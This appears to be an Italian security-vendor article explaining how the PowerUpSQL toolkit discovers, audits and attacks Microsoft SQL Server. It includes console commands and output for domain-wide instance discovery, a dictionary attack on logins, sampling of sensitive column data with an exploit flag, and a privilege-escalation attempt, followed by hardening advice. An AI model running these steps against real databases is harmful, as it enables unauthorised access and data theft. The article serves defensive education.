Magic Quadrant™ per la gestione degli accessi privilegiati 2025: Netwrix riconosciuta per il quarto anno consecutivo. Scarica il report.

Piattaforma
Glossario di cybersecurityCatalogo degli attacchi
Compromettere SQL Server con PowerUpSQL

Compromettere SQL Server con PowerUpSQL

Se stai cercando un kit di strumenti per gestire Microsoft SQL Server da cima a fondo, quello di cui hai bisogno è PowerUpSQL. Implementato in PowerShell e completo sotto ogni aspetto, PowerUpSQL dispone di strumenti per scoprire, compromettere e dominare praticamente qualsiasi sistema SQL. È l'intera catena di attacco in un unico strumento. Questo articolo descrive come eseguire i passaggi critici dell'attacco utilizzando PowerUpSQL.

Contenuti correlati selezionati:

Da notare che abbiamo avuto risultati molto vari con il sistema che stavamo utilizzando, una versione molto basilare di MS SQL 2012. Ci assicureremo di evidenziare dove i nostri risultati sono variati con e senza diritti di amministratore di sistema. Se hai bisogno di consigli su come ottenere diritti di amministratore a livello di sistema, consulta il nostro catalogo di techniques for attacking core AD infrastructure e i nostri post su AD service account attacks, attacks that exploit misconfigured permissions e la nostra series on Mimikatz attacks.

Scoperta

      To find all the SQL servers in a domain, you can use the Get-SQLInstanceDomain cmdlet:

PS C:PowerUpSQL-master> Get-SQLInstanceDomain -Verbose

VERBOSE: Grabbing SPNs from the domain for SQL Servers (MSSQL*)...

VERBOSE: Parsing SQL Server instances from SPNs...

VERBOSE: 2 instances were found.

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com,1433

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com:1433

LastLogon : 1/9/2018 7:10 AM

Description :

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

DomainAccountSid : 150000052100028833955189196181169249219979400

DomainAccount : APP02$

DomainAccountCn : APP02

Service : MSSQLSvc

Spn : MSSQLSvc/APP02.sbcloudlab.com

LastLogon : 1/9/2018 7:10 AM
      

Descrizione:

Esiste anche Get-SQLInstanceLocal, che eseguirà lo stesso tipo di scoperta ma solo sull'istanza locale. La versione per il dominio è più rumorosa, ma se hai solo un punto da cui attaccare nella rete, farà ciò di cui hai bisogno. Se possiedi una parte molto più ampia della rete e vuoi emettere meno segnali, eseguire la versione locale su ogni sistema farà al caso tuo. In questo caso, siamo stati in grado di ottenere risultati simili quando eravamo un utente normale o un Domain Admin.

Selezione dell'obiettivo

Una volta che hai alcuni sistemi MS SQL che vuoi prendere di mira — o ne hai molti e stai cercando di capire quali sono i migliori obiettivi — potresti voler scoprire di più su ciascuno di essi. Get?SQLServerInfo ti fornirà un'istantanea di informazioni utili sul tuo potenziale obiettivo. Da notare che sembra necessario avere diritti di amministratore per ottenere buoni risultati.

      PS C:PowerUpSQL-master> Get-SQLInstanceLocal | Get-SQLServerInfo

ComputerName : APP02

Instance : APP02

DomainName : SBCLOUDLAB

ServiceProcessID : 4980

ServiceName : MSSQLSERVER

ServiceAccount : NT ServiceMSSQLSERVER

AuthenticationMode : Windows and SQL Server Authentication

Clustered : No

SQLServerVersionNumber : 11.0.2100.60

SQLServerMajorVersion : 2012

SQLServerEdition : Standard Edition (64-bit)

SQLServerServicePack : RTM

OSArchitecture : X64

OsMachineType : ServerNT

OSVersionName : Windows Server 2012 R2 Standard

OsVersionNumber : 6.2

Currentlogin : SBCLOUDLABjonathan

IsSysadmin : Yes

ActiveSessions : 1
      

Questo esempio mette in evidenza una delle migliori funzionalità di PowerUpSQL: il supporto per il piping. Come puoi vedere, inviamo i risultati di Get-SQLInstanceLocal a Get-SQLServerInfo, così con un unico comando, possiamo ottenere risultati per tutte le istanze SQL sulla macchina. Più in generale, puoi utilizzare questa funzionalità per costruire facilmente script di cracking che eseguono operazioni complesse rapidamente.

Rilevamento di exploit e dati sensibili

Utilizzando ciò che apprendiamo da Get-SQLServerInfo, potremmo andare alle librerie standard di minacce e vulnerabilità e prendere qualcosa da usare per sfruttare questo sistema. Ma non c'è bisogno — PowerUpSQL ha un altro potente trucco nella manica. Il cmdlet Invoke-SQLAudit farà letteralmente tutto il lavoro di cracking per te. Controlla praticamente ogni modo standard di irrompere in un database, trovare informazioni sensibili ed esfiltrarle in una forma che puoi portare via.

Quando lo invochi, vedrai prima una cascata di risultati come questa:

      PS C:PowerUpSQL-master> Invoke-SQLAudit -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: LOADING VULNERABILITY CHECKS.

VERBOSE: RUNNING VULNERABILITY CHECKS.

VERBOSE: APP02.sbcloudlab.com : RUNNING VULNERABILITY CHECKS...

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : No named instance found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Default SQL Server Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com - Getting supplied login...

VERBOSE: APP02.sbcloudlab.com - Getting list of logins...

VERBOSE: APP02.sbcloudlab.com - Performing dictionary attack...

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = sa Password = sa

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyEventProcessingLogin## Password =

##MS_PolicyEventProcessingLogin##

VERBOSE: APP02.sbcloudlab.com - Failed Login: User = ##MS_PolicyTsqlExecutionLogin## Password =

##MS_PolicyTsqlExecutionLogin##

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Weak Login Password

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No logins could be impersonated.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: PERMISSION - IMPERSONATE LOGIN

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No exploitable SQL Server links were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Server Link

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - No non-default trusted databases were found.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Trusted Database

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS.

VERBOSE: APP02.sbcloudlab.com : - The database master has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database tempdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : - The database msdb has ownership chaining enabled.

VERBOSE: APP02.sbcloudlab.com : COMPLETED VULNERABILITY CHECK: Excessive Privilege - Database Ownership Chaining

VERBOSE: APP02.sbcloudlab.com : START VULNERABILITY CHECK: PERMISSION - CREATE PROCEDURE

VERBOSE: APP02.sbcloudlab.com : CONNECTION SUCCESS

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the master database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the tempdb database...

VERBOSE: APP02.sbcloudlab.com : Grabbing permissions for the model database...

<snip>
      

Ma questo è solo l'inizio di Invoke-SQLAudit. Dopo aver eseguito tutti i controlli a livello di permessi, verifica una per una le vulnerabilità specifiche e note e riporta ciò che trova per ciascuna:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database master was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Excessive Privilege - Database Ownership Chaining

Description : Ownership chaining was found enabled at the server or database level. Enabling ownership chaining can

lead to unauthorized access to database resources.

Remediation : Configured the affected database so the 'is_db_chaining_on' flag is set to 'false'. A query similar

to 'ALTER DATABASE Database1 SET DB_CHAINING ON' is used enable chaining. A query similar to 'ALTER

DATABASE Database1 SET DB_CHAINING OFF;' can be used to disable chaining.

Severity : Low

IsVulnerable : Yes

IsExploitable : No

Exploited : No

ExploitCmd : There is not exploit available at this time.

Details : The database tempdb was found configured with ownership chaining enabled.

Reference : https://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx,https://msdn.microsoft.com/en-us/l

ibrary/bb669059(v=vs.110).aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Leggere i risultati di questo cmdlet, indipendentemente da quanto vulnerabile possa essere stato il tuo obiettivo, è come una lezione magistrale sugli exploit di SQL Server. Inoltre, gli autori hanno lasciato il toolkit aperto per estensioni man mano che vengono scoperte nuove vulnerabilità ed exploit. Quindi dovremmo aspettarci di vedere questa lista crescere nel tempo.

E questo non è tutto. Una volta individuate le vulnerabilità, cerca di trovare dati che potresti voler rubare:

      ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016

ComputerName : APP02.sbcloudlab.com

Instance : APP02.sbcloudlab.com

Vulnerability : Potentially Sensitive Columns Found

Description : Columns were found in non default databases that may contain sensitive information.

Remediation : Ensure that all passwords and senstive data are masked, hashed, or encrypted.

Severity : Informational

IsVulnerable : Yes

IsExploitable : Yes

Exploited : Yes

ExploitCmd : Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit

Details : Data sample from [REDACTED] : "[REDACTED]".

Reference : https://msdn.microsoft.com/en-us/library/ms188348.aspx

Author : Scott Sutherland (@_nullbind), NetSPwe 2016
      

Questi risultati (leggermente modificati per motivi evidenti) erano solo due delle molte decine trovate nel nostro obiettivo. Gli autori stessi stanno usando il proprio prodotto mentre fanno ciò. Questi risultati sono stati trovati utilizzando il cmdlet “Invoke-SQLAuditSampleDataByColumn -Instance APP02.sbcloudlab.com -Exploit”, come indicato nei risultati.

Escalation dei privilegi

Una delle delusioni quando si gioca con PowerUpSQL è stato che il potentissimo Invoke-SQLEscalatePriv non ha mai funzionato per noi. Abbiamo provato diversi utenti, host, tipi di esecuzione (locale e remota) e tipi di diritti, ma non è mai riuscito ad elevare l'utente. Il motivo sembra essere i valori predefiniti in MS SQL 2012 Enterprise Edition. Ecco cosa abbiamo visto quando eseguito come utente non amministratore:

      PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.s

bcloudlab.com"

PS C:PowerUpSQL-master>

When we run as admin, we get these correct but unexciting results:

PS C:PowerUpSQL-master> Invoke-SQLEscalatePriv -Verbose -Instance "APP02.sbcloudlab.com"

VERBOSE: APP02.sbcloudlab.com : Checking if you're already a sysadmin...

VERBOSE: APP02.sbcloudlab.com : You are, so nothing to do here. :)

PS C:PowerUpSQL-master>
      

Leggendo online, sembra che questo cmdlet funzioni per molti altri.

Altre Funzionalità

È facile immaginare l'utilizzo di questo strumento per avere un'idea di cosa colpire e poi concentrarsi. Costruiremmo uno script, sfruttando ampiamente il piping per trovare dove abbiamo i massimi diritti, e poi ci concentreremmo sui dati sensibili in ciascuna di quelle posizioni.

Siamo sempre concentrati sul concetto di esfiltrazione, ma forse il tuo obiettivo è il possesso del sistema? PowerUpSQL offre anche percorsi per questo, ma esamineremo come farlo nel prossimo post. Infatti, c'è così tanto in PowerUpSQL che potremmo continuare molto più a lungo. Tuttavia, gli autori hanno già fatto un ottimo lavoro nel coprire il loro strumento quindi ci fermeremo qui.

Difendersi da PowerUpSQL

Ora vediamo cosa puoi fare per difenderti da PowerUpSQL. La brutta notizia per il nostro divertimento era una buona notizia per i nostri dati: molte delle cose che sembravano richiedere diritti di amministratore in PowerUpSQL sono gestite dalla postura di sicurezza predefinita di SQL 2012 Enterprise Edition. Tuttavia, i diritti di amministratore sono così facili da violare nella maggior parte delle aziende oggigiorno che questo sembra un piccolo ostacolo al successo.

Tuttavia, ci sono alcuni passaggi comprovati che puoi seguire per aiutare a proteggere la tua organizzazione:

  • Applica un modello di privilegio minimo per SQL Server. Gli amministratori locali e di dominio hanno davvero bisogno di essere anche amministratori del database SQL e sys admin? Sviluppa una politica scritta chiara che dettagli il perché e quando ciò è necessario. Mantenere queste funzioni amministrative distinte impedirà che un compromesso porti al compromesso dell'altro.
  • Indaga l'impatto sulla sicurezza di qualsiasi modifica alle impostazioni del sistema SQL. I fornitori di applicazioni spesso richiedono modifiche alle impostazioni di sicurezza solo per risparmiare alcuni passaggi — e quei passaggi possono fare la differenza tra sicurezza e compromissione. Un modo per scoprirlo è eseguire un PowerUpSQL audit prima e dopo aver effettuato tali modifiche ai tuoi sistemi di test e confrontare i risultati.
  • Assicurati che tutte le password e i dati sensibili siano mascherati, hashati o criptati. Se i malintenzionati sono alla ricerca di dati, questo è il miglior modo per impedire loro di ottenerli. I sistemi saranno sempre vulnerabili, ma una buona crittografia è un muro di mattoni per tutti tranne che per i nemici più sofisticati. Se quel tipo di avversario è alla ricerca dei tuoi dati, allora hai preoccupazioni di ordine superiore.
  • Ove possibile, evitare configurazioni rischiose come il concatenamento della proprietà del database. Come per le modifiche alle impostazioni, funzionalità a livello di database come questa sono spesso utilizzate solo per risparmiare tempo agli sviluppatori. Assicurati che ci sia almeno una valutazione dei rischi quando si prendono in considerazione queste configurazioni. Spesso la parte più difficile è scoprire dove e quando queste conversazioni stanno avvenendo e influenzarle.
  • Assicurati che i tuoi sistemi siano aggiornati seguendo una programmazione che li mantenga il più possibile aggiornati. Questo può essere il consiglio più scontato in materia di sicurezza, ma è vero. Molte delle vulnerabilità testate qui sarebbero state risolte con un adeguato aggiornamento. Gli aggiornamenti non risolvono tutti i problemi di sicurezza, ma evitano quel grande vuoto nello stomaco quando le cose vanno male e sai che potrebbe essere stato (o lo è stato sicuramente) a causa di una patch mancante.

Come Netwrix può aiutare

Le basi di dati spesso contengono informazioni altamente sensibili, il che le rende un obiettivo principale per gli attaccanti. Per una sicurezza robusta, gli amministratori di database necessitano di una visione completa della loro impronta SQL, sia nei datacenter locali che nel cloud. Netwrix StealthAUDIT rivela automaticamente dove esistono basi di dati SQL, chi ha accesso ad esse, come hanno ottenuto tale accesso, chi o cosa sta sfruttando i propri privilegi di accesso, dove risiedono le informazioni sensibili e come ogni database è stato configurato.

Condividi su

Visualizza attacchi informatici correlati

Abuso dei permessi dell'applicazione Entra ID – Come funziona e strategie di difesa

Modifica di AdminSDHolder – Come funziona e strategie di difesa

Attacco AS-REP Roasting - Come Funziona e Strategie di Difesa

Attacco Hafnium - Come funziona e strategie di difesa

Spiegazione degli attacchi DCSync: minaccia alla sicurezza di Active Directory

Attacco Pass the Hash

Comprendere gli attacchi Golden Ticket

Attacco agli Account di Servizio Gestiti di Gruppo

Attacco DCShadow – Come Funziona, Esempi Reali e Strategie di Difesa

ChatGPT Prompt Injection: Comprensione dei rischi, esempi e prevenzione

Attacco di estrazione password NTDS.dit

Attacco Kerberoasting – Come Funziona e Strategie di Difesa

Spiegazione dell'attacco Pass-the-Ticket: Rischi, Esempi e Strategie di Difesa

Attacco di Password Spraying

Attacco di estrazione di password in chiaro

Spiegazione della vulnerabilità Zerologon: Rischi, exploit e mitigazione

Attacchi ransomware di Active Directory

Sbloccare Active Directory con l'attacco Skeleton Key

Movimento laterale: cos'è, come funziona e prevenzioni

Attacchi Man-in-the-Middle (MITM): cosa sono e come prevenirli

Attacco Silver Ticket

4 attacchi agli account di servizio e come proteggersi

Perché PowerShell è così popolare tra gli aggressori?

Come prevenire gli attacchi malware che impattano sulla tua azienda

Cos'è il Credential Stuffing?

Cosa sono gli attacchi di Mousejacking e come difendersi

Rubare credenziali con un Security Support Provider (SSP)

Bypassare MFA con l'attacco Pass-the-Cookie

Attacco Golden SAML